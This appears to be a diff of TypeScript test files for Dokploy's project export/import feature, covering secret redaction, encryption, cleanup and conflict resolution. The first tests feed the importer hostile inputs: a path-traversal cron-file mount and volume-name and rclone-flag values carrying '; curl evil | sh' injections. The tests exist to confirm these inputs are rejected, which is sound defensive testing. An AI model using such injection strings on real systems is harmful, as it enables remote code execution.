kind: "application",
applicationId: "app-1",
appName: "web-abc123",
environmentId: "env-1",
mounts: [mount],
},
],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
});
describe("apply rejects unsafe bundle rows", () => {
it("refuses a file mount whose filePath escapes the service directory", async () => {
const snapshot = appWith({
mountId: "m-1",
type: "file",
filePath: "../../../etc/cron.d/x",
content: "* * * * * root id",
mountPath: "/x",
});
await expect(
apply(writeDb(), snapshot, plan(), new Map(), "org-dest"),
).rejects.toThrow(/Unsafe mount filePath/);
});
it("refuses a volume mount with a shell-unsafe volume name", async () => {
const snapshot = appWith({
mountId: "m-1",
type: "volume",
volumeName: "x:/v; curl evil | sh; #",
mountPath: "/data",
});
await expect(
apply(writeDb(), snapshot, plan(), new Map(), "org-dest"),
).rejects.toThrow(/Invalid volume name/);
});
it("refuses a destination whose additional rclone flags don't match the API rule", async () => {
const snapshot: Snapshot = {
manifest,
resources: {
project: { projectId: "project-src", name: "p", env: "" },
environments: [],
services: [],
shared: {
destination: [
{
destinationId: "dest-src",
name: "backups",
bucket: "b",
endpoint: "e",
region: "r",
accessKey: "$secret:a",
secretAccessKey: "$secret:b",
additionalFlags: ["; curl http://evil | sh #"],
},
],
},
},
requirements: [
{
kind: "destination",
originalId: "dest-src",
configIncluded: true,
usedBy: [],
bucket: "b",
endpoint: "e",
region: "r",
},
],
warnings: [],
dumps: [],
};
await expect(
apply(
writeDb(),
snapshot,
plan({
resolutions: {
"destination:dest-src": {
requirementKey: "destination:dest-src",
action: "create",
},
},
}),
new Map([
["a", "ak"],
["b", "sk"],
]),
"org-dest",
),
).rejects.toThrow(/invalid additional rclone flags/);
});
});
@@ -1,440 +0,0 @@
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
CaptureNotFoundError,
capture,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const application1 = {
applicationId: "app-1",
name: "app-1",
appName: "app-one",
environmentId: "env-1",
env: "DB_PASS=hunter2\nAPI_KEY=abc123",
buildArgs: null,
serverId: "server-1",
buildServerId: "server-1",
githubId: "gh-1",
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token-1",
createdAt: "2024-01-01T00:00:00.000Z",
domains: [
{ domainId: "dom-1", host: "app-1.example.com", createdAt: "2024-01-01" },
],
mounts: [
{
mountId: "mount-1",
type: "file",
content: "server { listen 80; }",
createdAt: "2024-01-01",
},
{
mountId: "mount-2",
type: "bind",
content: null,
createdAt: "2024-01-01",
},
],
redirects: [],
security: [
{
securityId: "sec-1",
username: "admin",
password: "basicauthpass",
createdAt: "2024-01-01",
},
],
ports: [],
schedules: [],
volumeBackups: [],
};
const application2 = {
applicationId: "app-2",
name: "app-2",
appName: "app-two",
environmentId: "env-2",
env: "",
serverId: "server-1",
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [],
redirects: [],
security: [],
ports: [],
schedules: [],
volumeBackups: [],
};
const postgres1 = {
postgresId: "pg-1",
name: "pg-1",
appName: "pg-one",
environmentId: "env-1",
env: "PGPASS=supersecret",
databasePassword: "realdbpassword",
serverId: "server-1",
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [
{
backupId: "backup-1",
createdAt: "2024-01-01T00:00:00.000Z",
metadata: {
mariadb: { databaseUser: "u", databasePassword: "metasecret" },
},
},
],
volumeBackups: [],
};
const mysql1 = {
mysqlId: "mysql-1",
name: "mysql-1",
appName: "mysql-one",
environmentId: "env-1",
env: "",
serverId: "server-1",
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [],
volumeBackups: [],
};
const emptyServiceArrays = {
mariadb: [],
mongo: [],
redis: [],
libsql: [],
compose: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application1],
postgres: [postgres1],
mysql: [mysql1],
...emptyServiceArrays,
},
{
environmentId: "env-2",
name: "staging",
projectId: "project-1",
env: "",
isDefault: false,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application2],
postgres: [],
mysql: [],
...emptyServiceArrays,
},
],
};
const fakeDb = (): TransferDb =>
({
query: {
projects: {
findFirst: async () => projectTree,
},
environments: {
findFirst: async () => undefined,
},
applications: {
findMany: async () => [application1, application2],
findFirst: async () => undefined,
},
schedules: {
findMany: async () => [],
},
volumeBackups: {
findMany: async () => [],
},
},
}) as any;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const noopOpts = {
detectRequirements: () => [],
detectWarnings: () => [],
};
describe("capture", () => {
it("throws CaptureNotFoundError when the project doesn't exist", async () => {
const db = {
query: {
projects: { findFirst: async () => undefined },
environments: { findFirst: async () => undefined },
},
} as any as TransferDb;
await expect(
capture(db, { kind: "project", id: "missing" }, baseScope, noopOpts),
).rejects.toThrow(CaptureNotFoundError);
});
it("filters by environmentIds and serviceIds", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
{
...baseScope,
environmentIds: ["env-1"],
serviceIds: ["app-1", "pg-1"],
},
noopOpts,
);
expect(result.resources.environments).toHaveLength(1);
expect(result.resources.environments[0]?.environmentId).toBe("env-1");
expect(result.resources.services).toHaveLength(2);
const ids = result.resources.services
.map((s) => (s.applicationId ?? s.postgresId) as string)
.sort();
expect(ids).toEqual(["app-1", "pg-1"]);
});
it("never leaks NEVER_EXPORT_FIELDS", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
baseScope,
noopOpts,
);
const serialized = JSON.stringify(result.resources);
for (const forbidden of [
"server-1",
"gh-1",
"webhook-token-1",
"2024-01-01T00:00:00.000Z",
]) {
expect(serialized).not.toContain(forbidden);
}
});
it("replaces every SECRET_FIELDS value with $secret: and recovers it via secretsPlain", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
baseScope,
noopOpts,
);
const serialized = JSON.stringify(result.resources);
expect(serialized).not.toContain("hunter2");
expect(serialized).not.toContain("abc123");
expect(serialized).not.toContain("supersecret");
expect(serialized).not.toContain("basicauthpass");
expect(serialized).not.toContain("server { listen 80; }");
expect(serialized).not.toContain("realdbpassword");
expect(serialized).not.toContain("metasecret");
const pg1Resource = result.resources.services.find(
(s) => s.postgresId === "pg-1",
) as Record<string, unknown>;
expect(String(pg1Resource.databasePassword)).toMatch(/^\$secret:/);
expect(
result.secretsPlain.get(
String(pg1Resource.databasePassword).slice("$secret:".length),
),
).toBe("realdbpassword");
const pgBackups = pg1Resource.backups as Record<string, unknown>[];
expect(String(pgBackups[0]?.metadata)).toMatch(/^\$secret:/);
const app1Resource = result.resources.services.find(
(s) => s.applicationId === "app-1",
) as Record<string, unknown>;
expect(app1Resource.env).toMatch(
/^DB_PASS=\$secret:.+\nAPI_KEY=\$secret:.+$/,
);
const dbPassId = (app1Resource.env as string).match(
/DB_PASS=\$secret:([^\n]+)/,
)?.[1];
expect(dbPassId).toBeDefined();
expect(result.secretsPlain.get(dbPassId as string)).toBe("hunter2");
const mounts = app1Resource.mounts as Record<string, unknown>[];
const fileMount = mounts.find((m) => m.mountId === "mount-1");
expect(String(fileMount?.content)).toMatch(/^\$secret:/);
const bindMount = mounts.find((m) => m.mountId === "mount-2");
expect(bindMount?.content).toBeNull();
const security = app1Resource.security as Record<string, unknown>[];
expect(String(security[0]?.password)).toMatch(/^\$secret:/);
});
it("redacts secrets instead of capturing them when includeEnvSecrets is false", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
{ ...baseScope, includeEnvSecrets: false },
noopOpts,
);
expect(result.secretsPlain.size).toBe(0);
const app1Resource = result.resources.services.find(
(s) => s.applicationId === "app-1",
) as Record<string, unknown>;
expect(app1Resource.env).toBe(
"DB_PASS=$secret:REDACTED\nAPI_KEY=$secret:REDACTED",
);
});
it("redacts a vault provider's config when exported by value (shared.vault, not shared.vaultProvider)", async () => {
const db = {
query: {
...(fakeDb() as any).query,
vaultProvider: {
findFirst: async () => ({
vaultProviderId: "vault-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-1",
config: { token: "s.super-secret-vault-token" },
assignments: [
{ projectId: "old-project", environmentIds: ["old-env"] },
],
}),
},
},
} as any as TransferDb;
const result = await capture(
db,
{ kind: "project", id: "project-1" },
{ ...baseScope, shared: { vaultProvider: "value" } },
{
detectRequirements: () => [
{
kind: "vault",
originalId: "vault-1",
configIncluded: true,
usedBy: [],
providerName: "prod",
providerType: "hashicorp",
secretKeys: [],
},
],
detectWarnings: () => [],
},
);
const serialized = JSON.stringify(result.resources.shared);
expect(serialized).not.toContain("s.super-secret-vault-token");
expect(serialized).not.toContain("old-project");
const [vaultRow] = result.resources.shared.vault ?? [];
expect(String(vaultRow?.config)).toMatch(/^\$secret:/);
const secretId = String(vaultRow?.config).slice("$secret:".length);
expect(JSON.parse(result.secretsPlain.get(secretId) ?? "{}")).toEqual({
token: "s.super-secret-vault-token",
});
expect(vaultRow?.assignments).toBeUndefined();
});
it("builds an inventory reflecting the filtered scope", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
{ ...baseScope, environmentIds: ["env-1"] },
noopOpts,
);
expect(result.inventory.environments).toHaveLength(1);
expect(result.inventory.environments[0]).toMatchObject({
id: "env-1",
services: { application: 1, postgres: 1, mysql: 1 },
});
expect(result.inventory.totals.domain).toBe(1);
expect(result.inventory.totals.mount).toBe(2);
});
it("excludes backup schedules when scope.includeBackupSchedules is false", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
{ ...baseScope, includeBackupSchedules: false },
noopOpts,
);
const postgresRow = result.resources.services.find(
(service) => service.kind === "postgres",
);
expect(postgresRow?.backups).toEqual([]);
expect(result.inventory.totals.backup).toBeUndefined();
});
});
describe("capture project tags", () => {
it("flattens projectTags into resources.project.tags", async () => {
const db = fakeDb();
(db.query.projects as any).findFirst = async () => ({
...projectTree,
projectTags: [
{ tag: { tagId: "t-1", name: "prod", color: "#f00" } },
{ tag: { tagId: "t-2", name: "billing", color: null } },
],
});
const result = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
noopOpts,
);
expect(result.resources.project.tags).toEqual([
{ name: "prod", color: "#f00" },
{ name: "billing", color: null },
]);
expect(result.resources.project).not.toHaveProperty("projectTags");
});
it("forces vault and dns providers to reference when env secrets are excluded", async () => {
const db = fakeDb();
(db.query as any).dnsProvider = {
findMany: async () => [
{ dnsProviderId: "dns-1", name: "cf", config: {} },
],
};
const result = await capture(
db,
{ kind: "project", id: "project-1" },
{
...baseScope,
includeEnvSecrets: false,
shared: { dnsProvider: "value", vaultProvider: "value" },
},
noopOpts,
);
expect(result.resources.shared.dnsProvider).toBeUndefined();
});
});
@@ -1,134 +0,0 @@
import { existsSync } from "node:fs";
import { mkdir, mkdtemp, rm, utimes } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import {
createExportJob,
createImportJob,
sweepOrphanedTransferDirectories,
sweepRemoteTransferDirectories,
} from "@dokploy/server/services/project-export-import";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return { ...actual, execAsyncRemote: vi.fn() };
});
let root: string;
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cleanup-"));
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
});
const fakePaths = () => ({ PROJECT_EXPORT_IMPORT_PATH: root }) as any;
const makeStaleDir = async (name: string) => {
const dir = join(root, name);
await mkdir(dir, { recursive: true });
const staleTime = new Date(Date.now() - 2 * 60 * 60 * 1000);
await utimes(dir, staleTime, staleTime);
return dir;
};
describe("sweepOrphanedTransferDirectories", () => {
it("deletes a stale directory with no matching job record (a genuine crash-orphan)", async () => {
const dir = await makeStaleDir("orphaned-export-1");
await sweepOrphanedTransferDirectories(fakePaths);
expect(existsSync(dir)).toBe(false);
});
it("leaves a fresh directory alone regardless of job state", async () => {
const dir = join(root, "fresh-export-1");
await mkdir(dir, { recursive: true });
await sweepOrphanedTransferDirectories(fakePaths);
expect(existsSync(dir)).toBe(true);
});
it("does not delete a stale-by-mtime directory that still has a live export job record", async () => {
const exportId = "export-still-running-1";
createExportJob(exportId, "user-1", "org-1");
const dir = await makeStaleDir(exportId);
await sweepOrphanedTransferDirectories(fakePaths);
expect(existsSync(dir)).toBe(true);
});
it("does not delete a stale-by-mtime directory that still has a live import job record", async () => {
const importId = "import-still-running-1";
createImportJob(importId, "user-1", "org-1");
const dir = await makeStaleDir(importId);
await sweepOrphanedTransferDirectories(fakePaths);
expect(existsSync(dir)).toBe(true);
});
});
describe("sweepRemoteTransferDirectories", () => {
it("removes every workspace and bundle on the server that has no live job", async () => {
createExportJob("remote-live-1", "user-1", "org-1");
vi.mocked(execAsyncRemote).mockImplementation(async (_id, command) => ({
stdout: command.startsWith("find ")
? [
"remote-orphan-1",
"remote-orphan-1.dokploy.tar.gz",
"remote-live-1",
"remote-live-1.dokploy.tar.gz",
]
.map((name) => `/etc/dokploy/transfer/${name}\n`)
.join("")
: "",
stderr: "",
}));
await sweepRemoteTransferDirectories(
["server-1"],
1_700_000_000_000,
() =>
({
PROJECT_EXPORT_IMPORT_PATH: "/etc/dokploy/transfer",
}) as any,
);
expect(vi.mocked(execAsyncRemote).mock.calls[0]?.[1]).toContain(
"! -newermt @1700000000",
);
const removed = vi
.mocked(execAsyncRemote)
.mock.calls.map(([, command]) => command)
.filter((command) => command.startsWith("rm "));
expect(removed).toEqual([
"rm -rf '/etc/dokploy/transfer/remote-orphan-1'",
"rm -rf '/etc/dokploy/transfer/remote-orphan-1.dokploy.tar.gz'",
]);
});
it("keeps going when one server is unreachable", async () => {
vi.mocked(execAsyncRemote)
.mockReset()
.mockRejectedValueOnce(new Error("ssh down"))
.mockResolvedValue({ stdout: "", stderr: "" });
await expect(
sweepRemoteTransferDirectories(["down", "up"], Date.now(), fakePaths),
).resolves.toBeUndefined();
expect(vi.mocked(execAsyncRemote).mock.calls.map(([id]) => id)).toEqual([
"down",
"up",
]);
});
});
@@ -1,265 +0,0 @@
import type {
Conflict,
Plan,
Snapshot,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import {
apply,
resolveConflicts,
resolvedProjectName,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const conflict = (
kind: Conflict["kind"],
value: string,
options: Conflict["options"],
): Conflict => ({
kind,
value,
existingId: `existing-${kind}`,
usedBy: [],
options,
});
describe("resolveConflicts", () => {
const conflicts = [
conflict("domain", "api.example.com", ["rename", "skip"]),
conflict("port", "8080", ["rename", "skip", "keep"]),
conflict("projectName", "shop", ["rename"]),
conflict("network", "shared-net", ["keep", "rename", "skip"]),
];
it("applies safe defaults per kind", () => {
expect(resolveConflicts(conflicts, undefined)).toEqual({
"domain:api.example.com": { action: "skip" },
"port:8080": { action: "skip" },
"projectName:shop": { action: "rename", value: "shop (imported)" },
"network:shared-net": { action: "keep" },
});
});
it("keeps valid user choices and falls back for invalid ones", () => {
const resolved = resolveConflicts(conflicts, {
"domain:api.example.com": { action: "rename", value: "api2.example.com" },
"port:8080": { action: "rename", value: "not-a-port" },
"projectName:shop": { action: "skip" },
"network:shared-net": { action: "rename", value: "shared-net-2" },
});
expect(resolved["domain:api.example.com"]).toEqual({
action: "rename",
value: "api2.example.com",
});
expect(resolved["port:8080"]).toEqual({ action: "skip" });
expect(resolved["projectName:shop"]).toEqual({
action: "rename",
value: "shop (imported)",
});
expect(resolved["network:shared-net"]).toEqual({
action: "rename",
value: "shared-net-2",
});
});
it("resolves the project name from the rename choice", () => {
expect(
resolvedProjectName(
{ kind: "newProject", name: "shop" },
{ "projectName:shop": { action: "rename", value: " shop-2 " } },
),
).toBe("shop-2");
expect(resolvedProjectName({ kind: "newProject", name: "shop" }, {})).toBe(
"shop",
);
});
});
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: { projectId: "project-src", name: "shop", env: "" },
environments: [{ environmentId: "env-1", name: "production", env: "" }],
services: [
{
kind: "application",
applicationId: "app-1",
appName: "web-abc123",
environmentId: "env-1",
networkIds: ["net-src"],
domains: [
{ domainId: "dom-1", host: "api.example.com", enabled: true },
{ domainId: "dom-2", host: "admin.example.com", enabled: true },
],
ports: [
{ portId: "p-1", publishedPort: 8080, targetPort: 80 },
{ portId: "p-2", publishedPort: 9090, targetPort: 90 },
{ portId: "p-3", publishedPort: 7070, targetPort: 70 },
],
},
],
shared: {
network: [{ networkId: "net-src", name: "shared-net", serverId: null }],
},
},
requirements: [
{
kind: "network",
originalId: "net-src",
configIncluded: true,
usedBy: [],
name: "shared-net",
},
],
warnings: [],
dumps: [],
};
const runApply = async (
conflictResolutions: Plan["conflictResolutions"],
networkResolution: "keep" | "rename" | "skip",
) => {
const { applications, domains, environments, network, ports, projects } =
await import("@dokploy/server/db/schema");
const inserted = new Map<unknown, Record<string, unknown>[]>();
let counter = 0;
const writeDb = {
query: {
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
github: { findFirst: async () => undefined },
gitlab: { findFirst: async () => undefined },
gitea: { findFirst: async () => undefined },
bitbucket: { findFirst: async () => undefined },
},
insert: (table: unknown) => ({
values: (values: Record<string, unknown>) => {
const row: Record<string, unknown> = {
...values,
id: `row-${++counter}`,
};
if (table === projects) row.projectId = "project-new";
if (table === environments) row.environmentId = "env-new";
if (table === network) row.networkId = "net-new";
if (table === applications) row.applicationId = "app-new";
if (table === domains) row.domainId = `dom-new-${counter}`;
const list = inserted.get(table) ?? [];
list.push(row);
inserted.set(table, list);
return { returning: async () => [row] };
},
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) =>
fn({ ...writeDb }),
} as unknown as TransferWriteDb;
const plan: Plan = {
target: { kind: "newProject", name: "shop" },
resolutions: {
"network:net-src": {
requirementKey: "network:net-src",
action: "create",
},
},
serverMap: { null: null },
appNameMap: { "web-abc123": "web-xyz789" },
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [
conflict("projectName", "shop", ["rename"]),
conflict("domain", "api.example.com", ["rename", "skip"]),
conflict("domain", "admin.example.com", ["rename", "skip"]),
conflict("port", "8080", ["rename", "skip", "keep"]),
conflict("port", "9090", ["rename", "skip", "keep"]),
conflict("network", "shared-net", ["keep", "rename", "skip"]),
],
conflictResolutions: {
...conflictResolutions,
"network:shared-net":
networkResolution === "rename"
? { action: "rename", value: "shared-net-2" }
: { action: networkResolution },
},
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 2, dumps: 0 },
};
const result = await apply(writeDb, snapshot, plan, new Map(), "org-dest");
return {
result,
project: inserted.get(projects)?.[0],
domains: inserted.get(domains) ?? [],
ports: inserted.get(ports) ?? [],
networks: inserted.get(network) ?? [],
application: inserted.get(applications)?.[0],
};
};
describe("apply consumes conflict resolutions", () => {
it("renames the project and domains, drops skipped ports, renames a port, reuses the existing network", async () => {
const out = await runApply(
{
"projectName:shop": { action: "rename", value: "shop-2" },
"domain:api.example.com": {
action: "rename",
value: "api-2.example.com",
},
"domain:admin.example.com": { action: "skip" },
"port:8080": { action: "skip" },
"port:9090": { action: "rename", value: "9091" },
},
"keep",
);
expect(out.project?.name).toBe("shop-2");
expect(out.domains.map((d) => [d.host, d.enabled])).toEqual([
["api-2.example.com", true],
["admin.example.com", false],
]);
expect(out.ports.map((p) => p.publishedPort)).toEqual([9091, 7070]);
expect(out.networks).toEqual([]);
expect(out.application?.networkIds).toEqual(["existing-network"]);
expect(out.result.idMap.network).toEqual({ "net-src": "existing-network" });
});
it("creates the network under a new name when renamed, and drops it when skipped", async () => {
const renamed = await runApply({}, "rename");
expect(renamed.networks.map((n) => n.name)).toEqual(["shared-net-2"]);
expect(renamed.application?.networkIds).toEqual(["net-new"]);
const skipped = await runApply({}, "skip");
expect(skipped.networks).toEqual([]);
expect(skipped.application?.networkIds).toEqual([]);
expect(
skipped.result.warnings.some((w) => w.code === "NETWORK_UNRESOLVED"),
).toBe(true);
});
});
@@ -1,183 +0,0 @@
import {
createReadStream,
createWriteStream,
mkdtempSync,
readFileSync,
rmSync,
writeFileSync,
} from "node:fs";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { Readable, Writable } from "node:stream";
import { pipeline } from "node:stream/promises";
import {
decryptField,
deriveKeys,
encryptField,
gcmDecryptStream,
gcmEncryptStream,
makeKeyCheck,
TransferCryptoError,
verifyKeyCheck,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
describe("deriveKeys", () => {
it("rejects a passphrase shorter than 12 characters", async () => {
await expect(deriveKeys("short")).rejects.toThrow();
});
it("derives the same keys from the same passphrase and salt", async () => {
const first = await deriveKeys("correct-horse-battery-staple");
const second = await deriveKeys("correct-horse-battery-staple", first.salt);
expect(second.kEnc.equals(first.kEnc)).toBe(true);
expect(second.salt).toBe(first.salt);
});
it("derives different keys for a different salt", async () => {
const first = await deriveKeys("correct-horse-battery-staple");
const second = await deriveKeys("correct-horse-battery-staple");
expect(second.salt).not.toBe(first.salt);
expect(second.kEnc.equals(first.kEnc)).toBe(false);
});
it("derives different keys for a different passphrase with the same salt", async () => {
const first = await deriveKeys("correct-horse-battery-staple");
const second = await deriveKeys("another-passphrase-entirely", first.salt);
expect(second.kEnc.equals(first.kEnc)).toBe(false);
});
});
describe("encryptField / decryptField", () => {
it("round-trips a plaintext value", async () => {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const entry = encryptField(kEnc, "secret-1", "hunter2");
expect(decryptField(kEnc, "secret-1", entry)).toBe("hunter2");
});
it("fails when the AAD (id) differs from the one used to encrypt", async () => {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const entry = encryptField(kEnc, "secret-1", "hunter2");
expect(() => decryptField(kEnc, "secret-2", entry)).toThrow(
TransferCryptoError,
);
});
it("fails when decrypting with a different key", async () => {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const { kEnc: otherKEnc } = await deriveKeys("a-different-passphrase!!");
const entry = encryptField(kEnc, "secret-1", "hunter2");
expect(() => decryptField(otherKEnc, "secret-1", entry)).toThrow(
TransferCryptoError,
);
});
});
describe("makeKeyCheck / verifyKeyCheck", () => {
it("verifies with the correct passphrase", async () => {
const { kEnc, salt } = await deriveKeys("correct-horse-battery-staple");
const keyCheck = makeKeyCheck(kEnc);
const { kEnc: reDerived } = await deriveKeys(
"correct-horse-battery-staple",
salt,
);
expect(verifyKeyCheck(reDerived, keyCheck)).toBe(true);
});
it("fails with the wrong passphrase", async () => {
const { kEnc, salt } = await deriveKeys("correct-horse-battery-staple");
const keyCheck = makeKeyCheck(kEnc);
const { kEnc: wrongKEnc } = await deriveKeys(
"totally-wrong-passphrase",
salt,
);
expect(verifyKeyCheck(wrongKEnc, keyCheck)).toBe(false);
});
});
describe("gcmDecryptStream edge cases", () => {
it("handles an empty payload, one-byte chunks and a truncated ciphertext", async () => {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const encrypt = async (bytes: Buffer) => {
const chunks: Buffer[] = [];
await pipeline(
Readable.from([bytes]),
gcmEncryptStream(kEnc),
new Writable({
write(chunk, _encoding, callback) {
chunks.push(chunk);
callback();
},
}),
);
return Buffer.concat(chunks);
};
const decrypt = async (bytes: Buffer, chunkSize: number) => {
const chunks: Buffer[] = [];
const pieces: Buffer[] = [];
for (let i = 0; i < bytes.length; i += chunkSize) {
pieces.push(bytes.subarray(i, i + chunkSize));
}
await pipeline(
Readable.from(pieces),
gcmDecryptStream(kEnc),
new Writable({
write(chunk, _encoding, callback) {
chunks.push(chunk);
callback();
},
}),
);
return Buffer.concat(chunks);
};
const empty = await encrypt(Buffer.alloc(0));
expect(empty.length).toBe(12 + 16);
expect((await decrypt(empty, 1)).length).toBe(0);
const small = await encrypt(Buffer.from("hello world, 21 bytes"));
expect((await decrypt(small, 1)).toString()).toBe("hello world, 21 bytes");
await expect(decrypt(small.subarray(0, 20), 1)).rejects.toThrow(
TransferCryptoError,
);
});
});
describe("gcmEncryptStream / gcmDecryptStream", () => {
it("round-trips a file and rejects a flipped byte", async () => {
const dir = mkdtempSync(join(tmpdir(), "transfer-crypto-file-"));
try {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const plain = join(dir, "plain.bin");
const enc = join(dir, "plain.enc");
const out = join(dir, "plain.out");
writeFileSync(plain, Buffer.alloc(100_000, 7));
await pipeline(
createReadStream(plain),
gcmEncryptStream(kEnc),
createWriteStream(enc),
);
expect(readFileSync(enc).length).toBe(100_000 + 12 + 16);
await pipeline(
createReadStream(enc),
gcmDecryptStream(kEnc),
createWriteStream(out),
);
expect(readFileSync(out).equals(readFileSync(plain))).toBe(true);
const bytes = readFileSync(enc);
bytes[100] = (bytes[100] ?? 0) ^ 0xff;
writeFileSync(enc, bytes);
await expect(
pipeline(
createReadStream(enc),
gcmDecryptStream(kEnc),
createWriteStream(out),
),
).rejects.toThrow(TransferCryptoError);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
});
@@ -1,236 +0,0 @@
import {
buildBundleObjectKey,
deriveKeys,
EXPORTS_DIRECTORY,
makeKeyCheck,
slugifyProjectName,
verifyBundlePassphrase,
} from "@dokploy/server/services/project-export-import";
import { execAsync } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server";
import { describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return { ...actual, execAsync: vi.fn(actual.execAsync) };
});
describe("slugifyProjectName", () => {
it("produces a lowercase, URL-safe slug", () => {
expect(slugifyProjectName("My Cool Project!")).toBe("my-cool-project");
});
it("falls back to a generic name for an empty/unslugifiable input", () => {
expect(slugifyProjectName("")).toBe("project");
});
});
describe("buildBundleObjectKey", () => {
it("always stores bundles under the fixed exports directory", () => {
const key = buildBundleObjectKey("my-project", "2024-01-01T00:00:00.000Z");
expect(key).toBe(
`${EXPORTS_DIRECTORY}/my-project-2024-01-01T00-00-00-000Z.dokploy.tar.gz`,
);
expect(EXPORTS_DIRECTORY).toBe("dokploy-export-import");
});
});
describe("verifyBundlePassphrase", () => {
it("checks the keyCheck of a manifest read from the head of the object", async () => {
const { salt, kEnc } = await deriveKeys("correct-horse-battery-staple");
const manifest = {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt,
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: makeKeyCheck(kEnc),
},
counts: {},
};
vi.mocked(execAsync).mockResolvedValueOnce({
stdout: JSON.stringify(manifest),
stderr: "",
});
const destination = { bucket: "b", endpoint: "e", region: "r" } as any;
await expect(
verifyBundlePassphrase(
destination,
"x.dokploy.tar.gz",
"correct-horse-battery-staple",
),
).resolves.toMatchObject({ checked: true, valid: true });
vi.mocked(execAsync).mockResolvedValueOnce({
stdout: JSON.stringify(manifest),
stderr: "",
});
await expect(
verifyBundlePassphrase(
destination,
"x.dokploy.tar.gz",
"wrong-passphrase-here",
),
).resolves.toMatchObject({ checked: true, valid: false });
vi.mocked(execAsync).mockResolvedValueOnce({ stdout: "", stderr: "" });
await expect(
verifyBundlePassphrase(
destination,
"x.dokploy.tar.gz",
"correct-horse-battery-staple",
),
).resolves.toMatchObject({ checked: false });
expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain("rclone cat");
expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain(
"tar -xzOf - manifest.json ",
);
expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain(
"--count 4194304",
);
});
});
describe("projectExportImportRouter.exportStart on IS_CLOUD", () => {
it("rejects deliver: download (or omitted) with BAD_REQUEST", async () => {
vi.resetModules();
process.env.IS_CLOUD = "true";
vi.doMock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
};
},
);
const { projectExportImportRouter } = await import(
"../../server/api/routers/project-export-import"
);
const caller = projectExportImportRouter.createCaller({
session: { activeOrganizationId: "org-1" },
user: { id: "user-1", email: "a@b.com" },
} as any);
await expect(
caller.exportStart({
projectId: "project-1",
scope: {
includeEnvSecrets: true,
